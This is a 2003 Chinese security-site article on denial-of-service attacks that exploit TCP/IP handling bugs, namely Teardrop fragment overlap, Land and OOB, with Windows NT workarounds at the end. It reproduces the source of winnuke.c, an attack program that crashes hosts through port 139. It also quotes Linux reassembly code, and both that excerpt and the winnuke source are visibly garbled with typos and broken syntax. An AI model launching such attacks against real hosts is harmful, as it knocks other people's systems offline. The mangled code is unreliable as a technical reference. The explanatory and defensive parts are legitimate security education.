网页功能: 加入收藏 设为首页 网站搜索  
利用处理程序错误攻击
发表日期:2003-08-13作者:[] 出处:  

在本章,将要介绍一些利用TCP/IP协议的处理程序中错误进行攻击的原理、方法以及一些防范对策。

这些攻击包括当前流行的Teardrop和Land攻击。

利用协议实现的攻击方法,都是故意错误地设定数据包头的一些重要字段,例如,IP包头部的Total

Length、Fragment offset、IHL和Source address等字段。使用Raw Socket将这些错误的IP数据包

发送出去。在接受数据端,接收程序通常都存在一些问题,因而在将接受到的数据包组装成一个完整

的数据包的过程中,就会使系统当机、挂起或系统崩溃。

在最后,是一个服务程序错误而导致攻击的例子:OOB。

在本章,我们将结合一些程序来讨论这种攻击能够实施的原理的同时,读者也可以使用这些程序来检

查自己系统针对这类攻击的安全程度,并采取相应的措施。

1 攻击的现象及其后果

使用了Windows 95和Windows 98 NT的人们都经历过系统陷入混乱,对任何输入都没有响应的情况。

这时候,屏幕出现蓝屏,迟迟无法重新刷新。按下Ctrl+Alt+Del时,看到系统CPU利用率达到100%,

同时显示一个应用程序无响应。这是程序出错或者使用了盗版软件的缘故。

通过网络,也可以使正在使用的计算机出现这种无响应、死机的现象。事实上,大量的程序往往经

不住人们恶意的攻击。

人们已经使用了许多方法来专门对付上网的Windows 95和Windows NT。目前,能够对Windows 95和

Windows NT进行攻击的方法很多,当前流行的有:tearDrop(也称为“泪滴”)、OOB、Land和Ping of Death

等。其中,关于Ping of Death在缓冲区溢出一章中对这种攻击做了介绍,并给出了一些对策。

一般的攻击过程是这样的:当入侵者发现了一台Windows 95或者Windows NT(这只需用端口扫描工具扫一

下就可以辨认出来),便用一个OOB或者TearDrop攻击,再次用ping命令时,目标主机就没有响应了。事

实上,这些攻击并不是局限于Windows NT和Windows 95平台,一些攻击,如Land已被发现对Linux、Cisco

路由器以及其他大量的UNIX操作系统都具有相当的攻击能力。

能够实施这种攻击的原因是在Windows 95和Windows NT中存在错误,这是一种处理TCP/IP协议或者服务程

序的错误。人们利用这些错误。通过给端口送一些故意弄错的数据包,在这个数据包的偏移字段和长度字

段,写入一个过大或过小的值。Windows 95和Windows NT都不能处理这个情况,然后Windows 95就先变成

蓝屏,Windows NT是非死机不可。据称TearDrop可以使被攻击的主机立刻当机。

这些攻击的危险性在于可以通过网络发起攻击,当攻击者发现了一台上网的Windows 95、Windows NT或者

Linux操作系统主机时,只需启动这一程序,输入入口参数假冒IP、端口号,被攻击主机的IP地址和端口号,

便可以发起攻击了。通常是Linux一遭到攻击就当机,而Windows在受到十几次攻击之后也会死机。这时候,

用ping命令,被攻击的主机就再也没有回应了。

服务程序存在错误的情况是很多的,例如,Windows NT中的RPC服务存在漏洞。某个用户可以远程登录到

Windows NT 3。5x或者服务器的端口135,并任意输入10个字符,然后回车,切断连接。这便可以使目标

主机的CPU利用率达到100%。虽然一个简单的重启动就消除了这个问题,但毕竟这是很讨厌的,是系统安

全的重要隐患并严重地影响系统性能。

对于OOB攻击,人们已经提出一些对策,如在Windows NT 4.0 中,呆以对发到端口若悬河39的包进行过滤

等,都需要对系统的网络设置进行一番配置,来分别处理拔号上网和使用LAN的情况。

目前网上已经出现补丁程序,用来对付这些攻击方法的攻击。在 Windows 95和Windows NT上的安装非常

简单,只需运行一下安装包即可。

在没有找到补丁程序之前,也可能性安装一个PC防火墙。该工具非常有效,例如,当禁止从主机的所有端

口发出数据包,同时禁止数据包发向本主机的所有端口时,实际上已将本主机应用层的服务功能和访问功

能切断。此时,虽然可以ping通一台有帐户和口令的UNIX主机,但却地法登上(telnet)该主机或从该主

机用ftp取回文件。

可以用该工具来过滤发向本主机一些端口(例如139)的数据包。

2 泪滴(TearDrop)攻击工具

这个攻击工具起名为泪滴,它确实可以让人们恨得咬牙切齿。

当辛苦的劳动成果突然因为一次莫名其妙的当机而化为乌有。也许,这次当机便是一个人随意地向你的计

算机动了一次小小的攻击所致。

这个攻击利用的是系统在实现时的一个错误,我们以Linux上的一个实现为例,也就是说,某些Linux操作

系统也是脆弱的,我们也可以用这种方法攻击Linux操作系统。

Linux操作系统在它的IP数据包重装模块有一个严重的错误,更确切一点地说,是在ip-glue()函数中。

当Linux收到一个个IP包,送到IP层进行组装,以形成发送端原来的IP包时,它将进入了一个循环中,将

接收队列中的一个个数据包中的有效数据,拷贝到一个新分配的缓冲区中。

这段代码如下:

fp = qp->fragments;

while (fp ! =NULL)

{

if (count +fp ->len >skb ->len)]

{

error-to-big;

}

memcpy (ptr + fp ->offaet ), fp-> ptr, fp->len);

count +=fp ->len;

fp =fp->next;

}

在程序中,检查了每段数据是否过长,因为如果数据部分过长,将会向内核拷贝过多的数据,引起内核

发生某种危险。然而在程序中并没有检查包中有效数据的长度是否过分小,例如,当表示包中数据长度

的变量变成了一个负数时(例如 fp->len<0),对这种情况,并没有进行检查,结果是系统将过多的数据

拷贝到内核中去。

以下,让我们看看Linux是如何将收到的IP数据加入到组装队列中去的。

计算这一fragmrnt的终结位置:

/*

l Determine the position of this fragmrment.

l /

end =offset +ntohs(iph ->tot-len) –ihl;

在正常情况下一切也正常。但是,当我们精心准备这样的数据包,让前后包中的“fragment offset”字

段交叠在一起,会发生什么呢?

看看程序对“fragment offset”做了那些处理:

if (prev != NULL&& offset

{

I =prev->end –offset;

Offset +=I : /*ptr into datagram */

Ptr += I /* ptr into fragment data */

}

如果我们发现当前包的段偏移在前一包数据内部,也就是说根据偏移字段的值,前后两数据包的数据部

分有重叠。组装程序试图正确对齐它们的边界。程序代码如上所示。这一步是对的。除非当前包中的有

效数据碰巧没有足够的数据来满足对齐的要求。在这种情况下,“offset”域中的值将会比“ end”域

中的值大。这两个数值被交给“ip-frag-create()”模块,在这个模块中,将会计算当前包的长度。

/* Fill in the structure. */

fp->offset =offset;

fp->end =end;

fp->len =end –offset;

在这种极少见的情况下,计算出来的fp-len竟变成了一个负数,于是memcpy()最终将会把大量的数据拷贝

到内核中,因为memcpy()中的记数器是一个反码,是一个非常大的数值。根据使用的内存管理机制的不同,

将会引起系统重启动或停机。

这种情况完全可以通过编程来实现,例如可以发送两个特殊的数据包,第一个包中的“offset”域置为0,

包中有效数据(IP数据)长度为N,MF位置1。第二个包中MF位置0,“offset”为一个小于N的数,包中的

IP数据也少于N。

当将收到的两个数据包组装时,先将第一个数据包拷贝到一个缓冲区中去,然后拷贝第二个数据包。因为

next->offset

cur ->offset =next ->offset +(pre->end-next->offest);

cur ->end =next ->offest +(next->iph ->tot-len)-ihl);

cur ->len =cur->end-cur->offest;

当ntohs(next->iph->tot-len)-ihl<(pre->end-next->offset)时,错误就发生了。这时候,cur->len为

负数。

在正常情况下,无法预言这种情况是否会发生,发生的频率如何。但是在人为的情况下,尤其是在一处故

意的情况下,那就一定会发生的。

人们可以自己编写发送raw数据包的程序。在数据包中,从IP包头开始,都可以填入自己想要的任意数值。

而我们使用软件并不能处理这类非常复杂的情况。事实上,即使对软件曾经进行了详细的测试,也很难说

会发现这种错误。

当前的许多Linux的实现中都有这个错误,向Linux发送很少几个这样的数据包,便可以引起Linux当机,

因为通常这种IP包重组和缓冲区开在系统核心态,缓冲区溢出将使系统崩溃。同样地,向Windows 95、

Windows NT发送10-15个这样的包,也会引起死机。

现在在网上已经出现了大量类似这样的程序,这些攻击的方法依然是对一些字段使用错误的值,但和

“泪滴”相反,将段偏移字段写入一个大于头的长度的数值或者伪造UDP的长度,直到伪造为真实长度的

两倍。或者将原来专门攻击53端口的程序改造为可以攻击一系列端口。

从红色力量中转载--见我们的连接

利用处理程序错误攻击(下)

3 Land攻击工具

Land也是一个很厉害的攻击工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行

攻击,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应,

tenlnet命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land攻击cisco路由器的一番描述:

“当攻击端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外

部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择

只有来一个硬重启动。“

可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。

更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可攻击的对象竟然包括了相当多的

操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。

更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的攻击端口

的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可

以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有

打过“补丁”,对自己的系统打“补丁”确实是当务之急。

4 OOB攻击工具

5.1 攻击代码

OOB是一种专门攻击Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的

安全性。

/* winnuke.c – (05/07/97) BY –ECI */

/* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */

#include

#include

#include

#include

#include

#include

#include

#define dport 139 /*Attack port; 139 is what we want */

int x,s;

char str =”Bye”; /Makes no diff */

struct sockaddr-in addr, spoofedaddr;

atruct hostent *host;

int opdn-sock(int scok, char *server,int port) {

struct sockaddr-in blah;

struct hostent *he;

bzero ((char*) &blah,sizeof(blah));

blah.sin-family=AF-INET;

blah.sin-addr.s-addf=inet-addf(server);

blah.sin-port=htons(port);

if((he=gethostbyname(server)) ! =NULLL) {

bcopy(he->addr,(char*)&blah.sin-addr,he->h-length);

}

else {

if ((blah.sin-addr =inet-addr (server)) <0) {

return(-3);

}

}

if (connect (sock,(struct sockaddr *)&blah,16)==-1) {

perror(“cinnect()”);

close(sock);

retuen(-4);

}

void main (int argc,char *argv[]) {

if (argc !=2) {

printf(“Usage: %s

exit(0);

}

if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) {

PERROR (“socket()”);

Exyt(-1);

}

open-sock(s,argv[1],dport);

printf(“Sending crash …”);

send (s, str, atrldn (str),MSG-OOB);

usleep (100000);

printf(“Done!\n”);

close(s);

}

10.5.2 一些临时措施

目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了,

第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。

方法一:

1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。

2. 打开[显示绑定属于]列表,选择[所有适配器]。

3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。

4. 单击[禁用]按钮。

5. 确认后,重新启动系统。

需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。

这是正常的,而且每次启动时都会有。

方法二:

1. 进入[控制面板],找到[设备]图标。

2. 到列表的底部,找到[WINS客户(TCP/IP)]。

3. 单击[停止]按钮,然后单击[关闭]按钮。

4. 重启系统。

这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。

所以要与系统管理员联系,以决定这样做是否必要

方法三:

Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包

进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。

1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。

2. 在IP地址表中,选择[高级]按扭。

3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。

4. 单击[确定],然后退出,重启动系统。

我来说两句】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 利用处理程序错误攻击
本类热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网站(janker...
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计算机
  如何利用终端服务入侵远程计算机
  “流光异彩”话小榕
  一次入侵过程
最新分类信息我要发布 
最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放  
Copyright ©2003-2024 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00496